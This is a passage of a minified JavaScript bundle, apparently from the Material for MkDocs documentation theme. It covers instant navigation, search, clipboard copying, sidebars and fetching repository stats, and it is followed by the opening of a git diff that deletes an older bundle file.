r.subscribe(({value:o})=>{e.style.setProperty("--md-progress-value",`${o}`)}),t.pipe(S(o=>r.next({value:o})),A(()=>r.complete()),m(o=>({ref:e,value:o})))})}function ci(e,t){return e.protocol=t.protocol,e.hostname=t.hostname,e}function ps(e,t){let r=new Map;for(let o of M("url",e)){let n=j("loc",o),i=[ci(new URL(n.textContent),t)];r.set(`${i[0]}`,i);for(let s of M("[rel=alternate]",o)){let a=s.getAttribute("href");a!=null&&i.push(ci(new URL(a),t))}}return r}function $t(e){return xn(new URL("sitemap.xml",e)).pipe(m(t=>ps(t,new URL(e))),ve(()=>k(new Map)),le())}function pi({document$:e}){let t=new Map;e.pipe(b(()=>M("link[rel=alternate]")),m(r=>new URL(r.href)),v(r=>!t.has(r.toString())),J(r=>$t(r).pipe(m(o=>[r,o]),ve(()=>g)))).subscribe(([r,o])=>{t.set(r.toString().replace(/\/$/,""),o)}),h(document.body,"click").pipe(v(r=>!r.metaKey&&!r.ctrlKey),b(r=>{if(r.target instanceof Element){let o=r.target.closest("a");if(o&&!o.target){let n=[...t].find(([f])=>o.href.startsWith(`${f}/`));if(typeof n=="undefined")return g;let[i,s]=n,a=we();if(a.href.startsWith(i))return g;let c=Te(),p=a.href.replace(c.base,"");p=`${i}/${p}`;let l=s.has(p.split("#")[0])?new URL(p,c.base):new URL(i);return r.preventDefault(),k(l)}}return g})).subscribe(r=>st(r,!0))}var so=Gt(io());function ls(e){e.setAttribute("data-md-copying","");let t=e.closest("[data-copy]"),r=t?t.getAttribute("data-copy"):e.innerText;return e.removeAttribute("data-md-copying"),r.trimEnd()}function li({alert$:e}){so.default.isSupported()&&new F(t=>{new so.default("[data-clipboard-target], [data-clipboard-text]",{text:r=>r.getAttribute("data-clipboard-text")||ls(j(r.getAttribute("data-clipboard-target")))}).on("success",r=>t.next(r))}).pipe(S(t=>{t.trigger.focus()}),m(()=>Me("clipboard.copied"))).subscribe(e)}function mi(e,t){if(!(e.target instanceof Element))return g;let r=e.target.closest("a");if(r===null)return g;if(r.target||e.metaKey||e.ctrlKey)return g;let o=new URL(r.href);return o.search=o.hash="",t.has(`${o}`)?(e.preventDefault(),k(r)):g}function fi(e){let t=new Map;for(let r of M(":scope > *",e.head))t.set(r.outerHTML,r);return t}function ui(e){for(let t of M("[href], [src]",e))for(let r of["href","src"]){let o=t.getAttribute(r);if(o&&!/^(?:[a-z]+:)?\/\//i.test(o)){t[r]=t[r];break}}return k(e)}function ms(e){for(let o of["[data-md-component=announce]","[data-md-component=container]","[data-md-component=header-topic]","[data-md-component=outdated]","[data-md-component=logo]","[data-md-component=skip]",...N("navigation.tabs.sticky")?["[data-md-component=tabs]"]:[]]){let n=ue(o),i=ue(o,e);typeof n!="undefined"&&typeof i!="undefined"&&n.replaceWith(i)}let t=fi(document);for(let[o,n]of fi(e))t.has(o)?t.delete(o):document.head.appendChild(n);for(let o of t.values()){let n=o.getAttribute("name");n!=="theme-color"&&n!=="color-scheme"&&o.remove()}let r=Ce("container");return Ke(M("script",r)).pipe(b(o=>{let n=e.createElement("script");if(o.src){for(let i of o.getAttributeNames())n.setAttribute(i,o.getAttribute(i));return o.replaceWith(n),new F(i=>{n.onload=()=>i.complete()})}else return n.textContent=o.textContent,o.replaceWith(n),g}),re(),ae(document))}function di({sitemap$:e,location$:t,viewport$:r,progress$:o}){if(location.protocol==="file:")return g;k(document).subscribe(ui);let n=h(document.body,"click").pipe(De(e),b(([a,c])=>mi(a,c)),m(({href:a})=>new URL(a)),le()),i=h(window,"popstate").pipe(m(we),le());n.pipe(te(r)).subscribe(([a,{offset:c}])=>{history.replaceState(c,""),history.pushState(null,"",a)}),O(n,i).subscribe(t);let s=t.pipe(oe("pathname"),b(a=>yr(a,{progress$:o}).pipe(ve(()=>(st(a,!0),g)))),b(ui),b(ms),le());return O(s.pipe(te(t,(a,c)=>c)),s.pipe(b(()=>t),oe("pathname"),b(()=>t),oe("hash")),t.pipe(Y((a,c)=>a.pathname===c.pathname&&a.hash===c.hash),b(()=>n),S(()=>history.back()))).subscribe(a=>{var c,p;history.state!==null||!a.hash?window.scrollTo(0,(p=(c=history.state)==null?void 0:c.y)!=null?p:0):(history.scrollRestoration="auto",bn(a.hash),history.scrollRestoration="manual")}),t.subscribe(()=>{history.scrollRestoration="manual"}),h(window,"beforeunload").subscribe(()=>{history.scrollRestoration="auto"}),r.pipe(oe("offset"),Ae(100)).subscribe(({offset:a})=>{history.replaceState(a,"")}),N("navigation.instant.prefetch")&&O(h(document.body,"mousemove"),h(document.body,"focusin")).pipe(De(e),b(([a,c])=>mi(a,c)),Ae(25),Qr(({href:a})=>a),hr(a=>{let c=document.createElement("link");return c.rel="prefetch",c.href=a.toString(),document.head.appendChild(c),h(c,"load").pipe(m(()=>c),Ee(1))})).subscribe(a=>a.remove()),s}var vi=Gt(bi());function gi(e){let t=e.separator.split("|").map(n=>n.replace(/(\(\?[!=<][^)]+\))/g,"").length===0?"\uFFFD":n).join("|"),r=new RegExp(t,"img"),o=(n,i,s)=>`${i}${s}`;return n=>{n=n.replace(/[\s*+\-:~^]+/g," ").trim();let i=new RegExp(`(^|${e.separator}|)(${n.replace(/[|\\{}()[\]^$+*?.-]/g,"\\$&").replace(r,"|")})`,"img");return s=>(0,vi.default)(s).replace(i,o).replace(/<\/mark>(\s+)]*>/img,"$1")}}function zt(e){return e.type===1}function Sr(e){return e.type===3}function xi(e,t){let r=On(e);return O(k(location.protocol!=="file:"),Je("search")).pipe(Re(o=>o),b(()=>t)).subscribe(({config:o,docs:n})=>r.next({type:0,data:{config:o,docs:n,options:{suggest:N("search.suggest")}}})),r}function yi({document$:e}){let t=Te(),r=ze(new URL("../versions.json",t.base)).pipe(ve(()=>g)),o=r.pipe(m(n=>{let[,i]=t.base.match(/([^/]+)\/?$/);return n.find(({version:s,aliases:a})=>s===i||a.includes(i))||n[0]}));r.pipe(m(n=>new Map(n.map(i=>[`${new URL(`../${i.version}/`,t.base)}`,i]))),b(n=>h(document.body,"click").pipe(v(i=>!i.metaKey&&!i.ctrlKey),te(o),b(([i,s])=>{if(i.target instanceof Element){let a=i.target.closest("a");if(a&&!a.target&&n.has(a.href)){let c=a.href;return!i.target.closest(".md-version")&&n.get(c)===s?g:(i.preventDefault(),k(c))}}return g}),b(i=>$t(new URL(i)).pipe(m(s=>{let c=we().href.replace(t.base,i);return s.has(c.split("#")[0])?new URL(c):new URL(i)})))))).subscribe(n=>st(n,!0)),z([r,o]).subscribe(([n,i])=>{j(".md-header__topic").appendChild(In(n,i))}),e.pipe(b(()=>o)).subscribe(n=>{var s;let i=__md_get("__outdated",sessionStorage);if(i===null){i=!0;let a=((s=t.version)==null?void 0:s.default)||"latest";Array.isArray(a)||(a=[a]);e:for(let c of a)for(let p of n.aliases.concat(n.version))if(new RegExp(c,"i").test(p)){i=!1;break e}__md_set("__outdated",i,sessionStorage)}if(i)for(let a of me("outdated"))a.hidden=!1})}function bs(e,{worker$:t}){let{searchParams:r}=we();r.has("q")&&(at("search",!0),e.value=r.get("q"),e.focus(),Je("search").pipe(Re(i=>!i)).subscribe(()=>{let i=we();i.searchParams.delete("q"),history.replaceState({},"",`${i}`)}));let o=Ye(e),n=O(t.pipe(Re(zt)),h(e,"keyup"),o).pipe(m(()=>e.value),Y());return z([n,o]).pipe(m(([i,s])=>({value:i,focus:s})),X(1))}function Ei(e,{worker$:t}){let r=new T,o=r.pipe(re(),ae(!0));z([t.pipe(Re(zt)),r],(i,s)=>s).pipe(oe("value")).subscribe(({value:i})=>t.next({type:2,data:i})),r.pipe(oe("focus")).subscribe(({focus:i})=>{i&&at("search",i)}),h(e.form,"reset").pipe(W(o)).subscribe(()=>e.focus());let n=j("header [for=__search]");return h(n,"click").subscribe(()=>e.focus()),bs(e,{worker$:t}).pipe(S(i=>r.next(i)),A(()=>r.complete()),m(i=>R({ref:e},i)),X(1))}function wi(e,{worker$:t,query$:r}){let o=new T,n=mn(e.parentElement).pipe(v(Boolean)),i=e.parentElement,s=j(":scope > :first-child",e),a=j(":scope > :last-child",e);Je("search").subscribe(l=>a.setAttribute("role",l?"list":"presentation")),o.pipe(te(r),Gr(t.pipe(Re(zt)))).subscribe(([{items:l},{value:f}])=>{switch(l.length){case 0:s.textContent=f.length?Me("search.result.none"):Me("search.result.placeholder");break;case 1:s.textContent=Me("search.result.one");break;default:let u=br(l.length);s.textContent=Me("search.result.other",u)}});let c=o.pipe(S(()=>a.innerHTML=""),b(({items:l})=>O(k(...l.slice(0,10)),k(...l.slice(10)).pipe(ot(4),Xr(n),b(([f])=>f)))),m(kn),le());return c.subscribe(l=>a.appendChild(l)),c.pipe(J(l=>{let f=ue("details",l);return typeof f=="undefined"?g:h(f,"toggle").pipe(W(o),m(()=>f))})).subscribe(l=>{l.open===!1&&l.offsetTop<=i.scrollTop&&i.scrollTo({top:l.offsetTop})}),t.pipe(v(Sr),m(({data:l})=>l)).pipe(S(l=>o.next(l)),A(()=>o.complete()),m(l=>R({ref:e},l)))}function vs(e,{query$:t}){return t.pipe(m(({value:r})=>{let o=we();return o.hash="",r=r.replace(/\s+/g,"+").replace(/&/g,"%26").replace(/=/g,"%3D"),o.search=`q=${r}`,{url:o}}))}function Ti(e,t){let r=new T,o=r.pipe(re(),ae(!0));return r.subscribe(({url:n})=>{e.setAttribute("data-clipboard-text",e.href),e.href=`${n}`}),h(e,"click").pipe(W(o)).subscribe(n=>n.preventDefault()),vs(e,t).pipe(S(n=>r.next(n)),A(()=>r.complete()),m(n=>R({ref:e},n)))}function Si(e,{worker$:t,keyboard$:r}){let o=new T,n=Ce("search-query"),i=O(h(n,"keydown"),h(n,"focus")).pipe(ye(pe),m(()=>n.value),Y());return o.pipe(De(i),m(([{suggest:a},c])=>{let p=c.split(/([\s-]+)/);if(a!=null&&a.length&&p[p.length-1]){let l=a[a.length-1];l.startsWith(p[p.length-1])&&(p[p.length-1]=l)}else p.length=0;return p})).subscribe(a=>e.innerHTML=a.join("").replace(/\s/g," ")),r.pipe(v(({mode:a})=>a==="search")).subscribe(a=>{switch(a.type){case"ArrowRight":e.innerText.length&&n.selectionStart===n.value.length&&(n.value=e.innerText);break}}),t.pipe(v(Sr),m(({data:a})=>a)).pipe(S(a=>o.next(a)),A(()=>o.complete()),m(()=>({ref:e})))}function Oi(e,{index$:t,keyboard$:r}){let o=Te();try{let n=xi(o.search,t),i=Ce("search-query",e),s=Ce("search-result",e);h(e,"click").pipe(v(({target:c})=>c instanceof Element&&!!c.closest("a"))).subscribe(()=>at("search",!1)),r.pipe(v(({mode:c})=>c==="search")).subscribe(c=>{let p=Ve();switch(c.type){case"Enter":if(p===i){let l=new Map;for(let f of M(":first-child [href]",s)){let u=f.firstElementChild;l.set(f,parseFloat(u.getAttribute("data-md-score")))}if(l.size){let[[f]]=[...l].sort(([,u],[,d])=>d-u);f.click()}c.claim()}break;case"Escape":case"Tab":at("search",!1),i.blur();break;case"ArrowUp":case"ArrowDown":if(typeof p=="undefined")i.focus();else{let l=[i,...M(":not(details) > [href], summary, details[open] [href]",s)],f=Math.max(0,(Math.max(0,l.indexOf(p))+l.length+(c.type==="ArrowUp"?-1:1))%l.length);l[f].focus()}c.claim();break;default:i!==Ve()&&i.focus()}}),r.pipe(v(({mode:c})=>c==="global")).subscribe(c=>{switch(c.type){case"f":case"s":case"/":i.focus(),i.select(),c.claim();break}});let a=Ei(i,{worker$:n});return O(a,wi(s,{worker$:n,query$:a})).pipe(Ne(...me("search-share",e).map(c=>Ti(c,{query$:a})),...me("search-suggest",e).map(c=>Si(c,{worker$:n,keyboard$:r}))))}catch(n){return e.hidden=!0,tt}}function Li(e,{index$:t,location$:r}){return z([t,r.pipe(Q(we()),v(o=>!!o.searchParams.get("h")))]).pipe(m(([o,n])=>gi(o.config)(n.searchParams.get("h"))),m(o=>{var s;let n=new Map,i=document.createNodeIterator(e,NodeFilter.SHOW_TEXT);for(let a=i.nextNode();a;a=i.nextNode())if((s=a.parentElement)!=null&&s.offsetHeight){let c=a.textContent,p=o(c);p.length>c.length&&n.set(a,p)}for(let[a,c]of n){let{childNodes:p}=y("span",null,c);a.replaceWith(...Array.from(p))}return{ref:e,nodes:n}}))}function gs(e,{viewport$:t,main$:r}){let o=e.closest(".md-grid"),n=o.offsetTop-o.parentElement.offsetTop;return z([r,t]).pipe(m(([{offset:i,height:s},{offset:{y:a}}])=>(s=s+Math.min(n,Math.max(0,a-i))-n,{height:s,locked:a>=i+n})),Y((i,s)=>i.height===s.height&&i.locked===s.locked))}function co(e,o){var n=o,{header$:t}=n,r=ho(n,["header$"]);let i=j(".md-sidebar__scrollwrap",e),{y:s}=Be(i);return $(()=>{let a=new T,c=a.pipe(re(),ae(!0)),p=a.pipe(ke(0,xe));return p.pipe(te(t)).subscribe({next([{height:l},{height:f}]){i.style.height=`${l-2*s}px`,e.style.top=`${f}px`},complete(){i.style.height="",e.style.top=""}}),p.pipe(Re()).subscribe(()=>{for(let l of M(".md-nav__link--active[href]",e)){if(!l.clientHeight)continue;let f=l.closest(".md-sidebar__scrollwrap");if(typeof f!="undefined"){let u=l.offsetTop-f.offsetTop,{height:d}=de(f);f.scrollTo({top:u-d/2})}}}),fe(M("label[tabindex]",e)).pipe(J(l=>h(l,"click").pipe(ye(pe),m(()=>l),W(c)))).subscribe(l=>{let f=j(`[id="${l.htmlFor}"]`);j(`[aria-labelledby="${l.id}"]`).setAttribute("aria-expanded",`${f.checked}`)}),N("content.tooltips")&&fe(M("abbr[title]",e)).pipe(J(l=>Xe(l,{viewport$})),W(c)).subscribe(),gs(e,r).pipe(S(l=>a.next(l)),A(()=>a.complete()),m(l=>R({ref:e},l)))})}function Mi(e,t){if(typeof t!="undefined"){let r=`https://api.github.com/repos/${e}/${t}`;return rt(ze(`${r}/releases/latest`).pipe(ve(()=>g),m(o=>({version:o.tag_name})),Qe({})),ze(r).pipe(ve(()=>g),m(o=>({stars:o.stargazers_count,forks:o.forks_count})),Qe({}))).pipe(m(([o,n])=>R(R({},o),n)))}else{let r=`https://api.github.com/users/${e}`;return ze(r).pipe(m(o=>({repositories:o.public_repos})),Qe({}))}}function _i(e,t){let r=`https://${e}/api/v4/projects/${encodeURIComponent(t)}`;return rt(ze(`${r}/releases/permalink/latest`).pipe(ve(()=>g),m(({tag_name:o})=>({version:o})),Qe({})),ze(r).pipe(ve(()=>g),m(({star_count:o,forks_count:n})=>({stars:o,forks:n})),Qe({}))).pipe(m(([o,n])=>R(R({},o),n)))}function Ai(e){let t=e.match(/^.+github\.com\/([^/]+)\/?([^/]+)?/i);if(t){let[,r,o]=t;return Mi(r,o)}if(t=e.match(/^.+?([^/]*gitlab[^/]+)\/(.+?)\/?$/i),t){let[,r,o]=t;return _i(r,o)}return g}var xs;function ys(e){return xs||(xs=$(()=>{let t=__md_get("__source",sessionStorage);if(t)return k(t);if(me("consent").length){let o=__md_get("__consent");if(!(o&&o.github))return g}return Ai(e.href).pipe(S(o=>__md_set("__source",o,sessionStorage)))}).pipe(ve(()=>g),v(t=>Object.keys(t).length>0),m(t=>({facts:t})),X(1)))}function Ci(e){let t=j(":scope > :last-child",e);return $(()=>{let r=new T;return r.subscribe(({facts:o})=>{t.appendChild(Rn(o)),t.classList.add("md-source__repository--active")}),ys(e).pipe(S(o=>r.next(o)),A(()=>r.complete()),m(o=>R({ref:e},o)))})}function Es(e,{viewport$:t,header$:r}){return Le(document.body).pipe(b(()=>Er(e,{header$:r,viewport$:t})),m(({offset:{y:o}})=>({hidden:o>=10})),oe("hidden"))}function Hi(e,t){return $(()=>{let r=new T;return r.subscribe({next({hidden:o}){e.hidden=o},complete(){e.hidden=!1}}),(N("navigation.tabs.sticky")?k({hidden:!1}):Es(e,t)).pipe(S(o=>r.next(o)),A(()=>r.complete()),m(o=>R({ref:e},o)))})}function ws(e,{viewport$:t,header$:r}){let o=new Map,n=M(".md-nav__link",e);for(let a of n){let c=decodeURIComponent(a.hash.substring(1)),p=ue(`[id="${c}"]`);typeof p!="undefined"&&o.set(a,p)}let i=r.pipe(oe("height"),m(({height:a})=>{let c=Ce("main"),p=j(":scope > :first-child",c);return a+.8*(p.offsetTop-c.offsetTop)}),le());return Le(document.body).pipe(oe("height"),b(a=>$(()=>{let c=[];return k([...o].reduce((p,[l,f])=>{for(;c.length&&o.get(c[c.length-1]).tagName>=f.tagName;)c.pop();let u=f.offsetTop;for(;!u&&f.parentElement;)f=f.parentElement,u=f.offsetTop;let d=f.offsetParent;for(;d;d=d.offsetParent)u+=d.offsetTop;return p.set([...c=[...c,l]].reverse(),u)},new Map))}).pipe(m(c=>new Map([...c].sort(([,p],[,l])=>p-l))),De(i),b(([c,p])=>t.pipe(Ut(([l,f],{offset:{y:u},size:d})=>{let x=u+d.height>=Math.floor(a.height);for(;f.length;){let[,L]=f[0];if(L-p=u&&!x)f=[l.pop(),...f];else break}return[l,f]},[[],[...c]]),Y((l,f)=>l[0]===f[0]&&l[1]===f[1])))))).pipe(m(([a,c])=>({prev:a.map(([p])=>p),next:c.map(([p])=>p)})),Q({prev:[],next:[]}),ot(2,1),m(([a,c])=>a.prev.length{let i=new T,s=i.pipe(re(),ae(!0));if(i.subscribe(({prev:a,next:c})=>{for(let[p]of c)p.classList.remove("md-nav__link--passed"),p.classList.remove("md-nav__link--active");for(let[p,[l]]of a.entries())l.classList.add("md-nav__link--passed"),l.classList.toggle("md-nav__link--active",p===a.length-1)}),N("toc.follow")){let a=O(t.pipe(Ae(1),m(()=>{})),t.pipe(Ae(250),m(()=>"smooth")));i.pipe(v(({prev:c})=>c.length>0),De(o.pipe(ye(pe))),te(a)).subscribe(([[{prev:c}],p])=>{let[l]=c[c.length-1];if(l.offsetHeight){let f=vr(l);if(typeof f!="undefined"){let u=l.offsetTop-f.offsetTop,{height:d}=de(f);f.scrollTo({top:u-d/2,behavior:p})}}})}return N("navigation.tracking")&&t.pipe(W(s),oe("offset"),Ae(250),Pe(1),W(n.pipe(Pe(1))),vt({delay:250}),te(i)).subscribe(([,{prev:a}])=>{let c=we(),p=a[a.length-1];if(p&&p.length){let[l]=p,{hash:f}=new URL(l.href);c.hash!==f&&(c.hash=f,history.replaceState({},"",`${c}`))}else c.hash="",history.replaceState({},"",`${c}`)}),ws(e,{viewport$:t,header$:r}).pipe(S(a=>i.next(a)),A(()=>i.complete()),m(a=>R({ref:e},a)))})}function Ts(e,{viewport$:t,main$:r,target$:o}){let n=t.pipe(m(({offset:{y:s}})=>s),ot(2,1),m(([s,a])=>s>a&&a>0),Y()),i=r.pipe(m(({active:s})=>s));return z([i,n]).pipe(m(([s,a])=>!(s&&a)),Y(),W(o.pipe(Pe(1))),ae(!0),vt({delay:250}),m(s=>({hidden:s})))}function ki(e,{viewport$:t,header$:r,main$:o,target$:n}){let i=new T,s=i.pipe(re(),ae(!0));return i.subscribe({next({hidden:a}){e.hidden=a,a?(e.setAttribute("tabindex","-1"),e.blur()):e.removeAttribute("tabindex")},complete(){e.style.top="",e.hidden=!0,e.removeAttribute("tabindex")}}),r.pipe(W(s),oe("height")).subscribe(({height:a})=>{e.style.top=`${a+16}px`}),h(e,"click").subscribe(a=>{a.preventDefault(),window.scrollTo({top:0})}),Ts(e,{viewport$:t,main$:o,target$:n}).pipe(S(a=>i.next(a)),A(()=>i.complete()),m(a=>R({ref:e},a)))}function Ri({document$:e,viewport$:t}){e.pipe(b(()=>M(".md-ellipsis")),J(r=>mt(r).pipe(W(e.pipe(Pe(1))),v(o=>o),m(()=>r),Ee(1))),v(r=>r.offsetWidth{let o=r.innerText,n=r.closest("a")||r;return n.title=o,N("content.tooltips")?Xe(n,{viewport$:t}).pipe(W(e.pipe(Pe(1))),A(()=>n.removeAttribute("title"))):g})).subscribe(),N("content.tooltips")&&e.pipe(b(()=>M(".md-status")),J(r=>Xe(r,{viewport$:t}))).subscribe()}function Pi({document$:e,tablet$:t}){e.pipe(b(()=>M(".md-toggle--indeterminate")),S(r=>{r.indeterminate=!0,r.checked=!1}),J(r=>h(r,"change").pipe(Jr(()=>r.classList.contains("md-toggle--indeterminate")),m(()=>r))),te(t)).subscribe(([r,o])=>{r.classList.remove("md-toggle--indeterminate"),o&&(r.checked=!1)})}function Ss(){return/(iPad|iPhone|iPod)/.test(navigator.userAgent)}function Ii({document$:e}){e.pipe(b(()=>M("[data-md-scrollfix]")),S(t=>t.removeAttribute("data-md-scrollfix")),v(Ss),J(t=>h(t,"touchstart").pipe(m(()=>t)))).subscribe(t=>{let r=t.scrollTop;r===0?t.scrollTop=1:r+t.offsetHeight===t.scrollHeight&&(t.scrollTop=r-1)})}function Fi({viewport$:e,tablet$:t}){z([Je("search"),t]).pipe(m(([r,o])=>r&&!o),b(r=>k(r).pipe(nt(r?400:100))),te(e)).subscribe(([r,{offset:{y:o}}])=>{if(r)document.body.setAttribute("data-md-scrolllock",""),document.body.style.top=`-${o}px`;else{let n=-1*parseInt(document.body.style.top,10);document.body.removeAttribute("data-md-scrolllock"),document.body.style.top="",n&&window.scrollTo(0,n)}})}Object.entries||(Object.entries=function(e){let t=[];for(let r of Object.keys(e))t.push([r,e[r]]);return t});Object.values||(Object.values=function(e){let t=[];for(let r of Object.keys(e))t.push(e[r]);return t});typeof Element!="undefined"&&(Element.prototype.scrollTo||(Element.prototype.scrollTo=function(e,t){typeof e=="object"?(this.scrollLeft=e.left,this.scrollTop=e.top):(this.scrollLeft=e,this.scrollTop=t)}),Element.prototype.replaceWith||(Element.prototype.replaceWith=function(...e){let t=this.parentNode;if(t){e.length===0&&t.removeChild(this);for(let r=e.length-1;r>=0;r--){let o=e[r];typeof o=="string"?o=document.createTextNode(o):o.parentNode&&o.parentNode.removeChild(o),r?t.insertBefore(this.previousSibling,o):t.replaceChild(o,this)}}}));function Os(){return location.protocol==="file:"?At(`${new URL("search/search_index.js",Or.base)}`).pipe(m(()=>__index),X(1)):ze(new URL("search/search_index.json",Or.base))}document.documentElement.classList.remove("no-js");document.documentElement.classList.add("js");var ct=on(),Kt=dn(),kt=vn(Kt),po=un(),He=Sn(),Lr=Wt("(min-width: 960px)"),Ui=Wt("(min-width: 1220px)"),Wi=gn(),Or=Te(),Di=document.forms.namedItem("search")?Os():tt,lo=new T;li({alert$:lo});pi({document$:ct});var mo=new T,Ni=$t(Or.base);N("navigation.instant")&&di({sitemap$:Ni,location$:Kt,viewport$:He,progress$:mo}).subscribe(ct);var ji;((ji=Or.version)==null?void 0:ji.provider)==="mike"&&yi({document$:ct});O(Kt,kt).pipe(nt(125)).subscribe(()=>{at("drawer",!1),at("search",!1)});po.pipe(v(({mode:e})=>e==="global")).subscribe(e=>{switch(e.type){case"p":case",":let t=ue("link[rel=prev]");typeof t!="undefined"&&st(t);break;case"n":case".":let r=ue("link[rel=next]");typeof r!="undefined"&&st(r);break;case"Enter":let o=Ve();o instanceof HTMLLabelElement&&o.click()}});Ri({viewport$:He,document$:ct});Pi({document$:ct,tablet$:Lr});Ii({document$:ct});Fi({viewport$:He,tablet$:Lr});var ft=ri(Ce("header"),{viewport$:He}),qt=ct.pipe(m(()=>Ce("main")),b(e=>ii(e,{viewport$:He,header$:ft})),X(1)),Ls=O(...me("consent").map(e=>Mn(e,{target$:kt})),...me("dialog").map(e=>ei(e,{alert$:lo})),...me("header").map(e=>oi(e,{viewport$:He,header$:ft,main$:qt})),...me("palette").map(e=>ai(e)),...me("progress").map(e=>si(e,{progress$:mo})),...me("search").map(e=>Oi(e,{index$:Di,keyboard$:po})),...me("source").map(e=>Ci(e))),Ms=$(()=>O(...me("announce").map(e=>Ln(e)),...me("content").map(e=>Zn(e,{sitemap$:Ni,viewport$:He,target$:kt,print$:Wi})),...me("content").map(e=>N("search.highlight")?Li(e,{index$:Di,location$:Kt}):g),...me("header-title").map(e=>ni(e,{viewport$:He,header$:ft})),...me("sidebar").map(e=>e.getAttribute("data-md-type")==="navigation"?eo(Ui,()=>co(e,{viewport$:He,header$:ft,main$:qt})):eo(Lr,()=>co(e,{viewport$:He,header$:ft,main$:qt}))),...me("tabs").map(e=>Hi(e,{viewport$:He,header$:ft})),...me("toc").map(e=>$i(e,{viewport$:He,header$:ft,main$:qt,target$:kt})),...me("top").map(e=>ki(e,{viewport$:He,header$:ft,main$:qt,target$:kt})))),Vi=ct.pipe(b(()=>Ms),Ne(Ls),X(1));Vi.subscribe();window.document$=ct;window.location$=Kt;window.target$=kt;window.keyboard$=po;window.viewport$=He;window.tablet$=Lr;window.screen$=Ui;window.print$=Wi;window.alert$=lo;window.progress$=mo;window.component$=Vi;})(); diff --git a/assets/javascripts/bundle.ef37796b.min.js b/assets/javascripts/bundle.ef37796b.min.js deleted file mode 100644 index e9ffcbe7c..000000000 --- a/assets/javascripts/bundle.ef37796b.min.js +++ /dev/null @@ -1,3 +0,0 @@ -"use strict";(()=>{var Gi=Object.create;var _r=Object.defineProperty;var Ji=Object.getOwnPropertyDescriptor;var Xi=Object.getOwnPropertyNames,Bt=Object.getOwnPropertySymbols,Zi=Object.getPrototypeOf,Ar=Object.prototype.hasOwnProperty,uo=Object.prototype.propertyIsEnumerable;var fo=(e,t,r)=>t in e?_r(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,j=(e,t)=>{for(var r in t||(t={}))Ar.call(t,r)&&fo(e,r,t[r]);if(Bt)for(var r of Bt(t))uo.call(t,r)&&fo(e,r,t[r]);return e};var ho=(e,t)=>{var r={};for(var o in e)Ar.call(e,o)&&t.indexOf(o)<0&&(r[o]=e[o]);if(e!=null&&Bt)for(var o of Bt(e))t.indexOf(o)<0&&uo.call(e,o)&&(r[o]=e[o]);return r};var Cr=(e,t)=>()=>(t||e((t={exports:{}}).exports,t),t.exports);var ea=(e,t,r,o)=>{if(t&&typeof t=="object"||typeof t=="function")for(let n of Xi(t))!Ar.call(e,n)&&n!==r&&_r(e,n,{get:()=>t[n],enumerable:!(o=Ji(t,n))||o.enumerable});return e};var Gt=(e,t,r)=>(r=e!=null?Gi(Zi(e)):{},ea(t||!e||!e.__esModule?_r(r,"default",{value:e,enumerable:!0}):r,e));var bo=(e,t,r)=>new Promise((o,n)=>{var i=c=>{try{a(r.next(c))}catch(p){n(p)}},s=c=>{try{a(r.throw(c))}catch(p){n(p)}},a=c=>c.done?o(c.value):Promise.resolve(c.value).then(i,s);a((r=r.apply(e,t)).next())});var go=Cr((Hr,vo)=>{(function(e,t){typeof Hr=="object"&&typeof vo!="undefined"?t():typeof define=="function"&&define.amd?define(t):t()})(Hr,function(){"use strict";function e(r){var o=!0,n=!1,i=null,s={text:!0,search:!0,url:!0,tel:!0,email:!0,password:!0,number:!0,date:!0,month:!0,week:!0,time:!0,datetime:!0,"datetime-local":!0};function a(H){return!!(H&&H!==document&&H.nodeName!=="HTML"&&H.nodeName!=="BODY"&&"classList"in H&&"contains"in H.classList)}function c(H){var ft=H.type,Fe=H.tagName;return!!(Fe==="INPUT"&&s[ft]&&!H.readOnly||Fe==="TEXTAREA"&&!H.readOnly||H.isContentEditable)}function p(H){H.classList.contains("focus-visible")||(H.classList.add("focus-visible"),H.setAttribute("data-focus-visible-added",""))}function l(H){H.hasAttribute("data-focus-visible-added")&&(H.classList.remove("focus-visible"),H.removeAttribute("data-focus-visible-added"))}function f(H){H.metaKey||H.altKey||H.ctrlKey||(a(r.activeElement)&&p(r.activeElement),o=!0)}function u(H){o=!1}function d(H){a(H.target)&&(o||c(H.target))&&p(H.target)}function g(H){a(H.target)&&(H.target.classList.contains("focus-visible")||H.target.hasAttribute("data-focus-visible-added"))&&(n=!0,window.clearTimeout(i),i=window.setTimeout(function(){n=!1},100),l(H.target))}function L(H){document.visibilityState==="hidden"&&(n&&(o=!0),ee())}function ee(){document.addEventListener("mousemove",Z),document.addEventListener("mousedown",Z),document.addEventListener("mouseup",Z),document.addEventListener("pointermove",Z),document.addEventListener("pointerdown",Z),document.addEventListener("pointerup",Z),document.addEventListener("touchmove",Z),document.addEventListener("touchstart",Z),document.addEventListener("touchend",Z)}function ne(){document.removeEventListener("mousemove",Z),document.removeEventListener("mousedown",Z),document.removeEventListener("mouseup",Z),document.removeEventListener("pointermove",Z),document.removeEventListener("pointerdown",Z),document.removeEventListener("pointerup",Z),document.removeEventListener("touchmove",Z),document.removeEventListener("touchstart",Z),document.removeEventListener("touchend",Z)}function Z(H){H.target.nodeName&&H.target.nodeName.toLowerCase()==="html"||(o=!1,ne())}document.addEventListener("keydown",f,!0),document.addEventListener("mousedown",u,!0),document.addEventListener("pointerdown",u,!0),document.addEventListener("touchstart",u,!0),document.addEventListener("visibilitychange",L,!0),ee(),r.addEventListener("focus",d,!0),r.addEventListener("blur",g,!0),r.nodeType===Node.DOCUMENT_FRAGMENT_NODE&&r.host?r.host.setAttribute("data-js-focus-visible",""):r.nodeType===Node.DOCUMENT_NODE&&(document.documentElement.classList.add("js-focus-visible"),document.documentElement.setAttribute("data-js-focus-visible",""))}if(typeof window!="undefined"&&typeof document!="undefined"){window.applyFocusVisiblePolyfill=e;var t;try{t=new CustomEvent("focus-visible-polyfill-ready")}catch(r){t=document.createEvent("CustomEvent"),t.initCustomEvent("focus-visible-polyfill-ready",!1,!1,{})}window.dispatchEvent(t)}typeof document!="undefined"&&e(document)})});var io=Cr((Vt,no)=>{(function(t,r){typeof Vt=="object"&&typeof no=="object"?no.exports=r():typeof define=="function"&&define.amd?define([],r):typeof Vt=="object"?Vt.ClipboardJS=r():t.ClipboardJS=r()})(Vt,function(){return function(){var e={686:function(o,n,i){"use strict";i.d(n,{default:function(){return Bi}});var s=i(279),a=i.n(s),c=i(370),p=i.n(c),l=i(817),f=i.n(l);function u(q){try{return document.execCommand(q)}catch(C){return!1}}var d=function(C){var _=f()(C);return u("cut"),_},g=d;function L(q){var 